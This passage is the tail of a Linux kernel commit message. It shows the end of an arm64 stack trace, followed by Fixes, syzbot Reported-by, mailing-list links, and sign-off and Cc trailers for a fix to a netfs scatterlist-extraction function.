arch/arm64/kernel/syscall.c:191 el0_svc+0x2c/0xb0 arch/arm64/kernel/entry-common.c:647 el0t_64_sync_handler+0xc0/0xc4 arch/arm64/kernel/entry-common.c:665 el0t_64_sync+0x19c/0x1a0 arch/arm64/kernel/entry.S:591 Link: https://lkml.kernel.org/r/20571.1690369076@warthog.procyon.org.uk Fixes: 018584697533 ("netfs: Add a function to extract an iterator into a scatterlist") Reported-by: syzbot+9b82859567f2e50c123e@syzkaller.appspotmail.com Link: https://lore.kernel.org/linux-mm/000000000000273d0105ff97bf56@google.com/ Signed-off-by: David Howells Reviewed-by: David Hildenbrand Acked-by: Steve French Cc: Sven Schnelle Cc: Herbert Xu Cc: Jeff Layton Cc: Shyam Prasad N Cc: Rohith Surabattula Cc: Jens Axboe Cc: "David S. Miller" Cc: Eric Dumazet Cc: Jakub Kicinski Cc: Paolo Abeni Cc: Matthew Wilcox Cc: Signed-off-by: Andrew Morton Signed-off-by: Sasha Levin Signed-off-by: Greg Kroah-Hartman